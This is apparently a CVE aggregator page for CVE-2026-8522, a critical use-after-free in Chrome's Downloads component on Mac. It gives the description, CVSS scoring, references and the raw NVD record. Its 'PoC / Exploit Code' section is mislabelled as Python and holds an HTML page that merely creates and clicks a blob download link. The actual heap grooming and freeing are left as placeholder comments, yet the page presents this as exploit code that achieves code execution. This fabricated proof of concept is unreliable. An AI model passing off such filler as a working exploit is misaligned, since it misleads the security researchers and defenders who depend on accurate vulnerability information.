CVE-2026-8522

Description

Use after free in Downloads in Google Chrome on Mac prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code via a crafted HTML page. (Chromium security severity: Critical)

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Google Chrome for Mac < 148.0.7778.168

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for CVE-2026-8522 -->
<!-- This is a conceptual demonstration of UAF in Downloads -->
<!DOCTYPE html>
<html>
<body>
<script>
  // Step 1: Trigger the download logic
  // Attackers often manipulate the download attribute or blob URLs
  var blob = new Blob(["malicious payload"], {type: 'text/plain'});
  var url = URL.createObjectURL(blob);

  // Step 2: Force a scenario where memory is freed but referenced
  // (Specific exploitation requires deep knowledge of Chrome internals)
  function trigger_uaf() {
      // Simulate object interaction related to downloads
      let a = document.createElement('a');
      a.href = url;
      a.download = "exploit.html";
      document.body.appendChild(a);

      // Attempt to free memory or trigger garbage collection
      // ... specific heap grooming logic would go here ...

      // Step 3: Access the freed memory (The 'Use' in UAF)
      // If successful, this leads to code execution
      a.click();
  }

  trigger_uaf();
</script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-8522
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-8522
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-8522/
[4] VulDB https://vuldb.com/cve/CVE-2026-8522
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html
[6] https://issues.chromium.org/issues/504185107

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-8522", "sourceIdentifier": "[email protected]", "published": "2026-05-14T20:17:12.973", "lastModified": "2026-05-14T21:19:23.923", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in Downloads in Google Chrome on Mac prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code via a crafted HTML page. (Chromium security severity: Critical)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/504185107", "source": "[email protected]"}]}}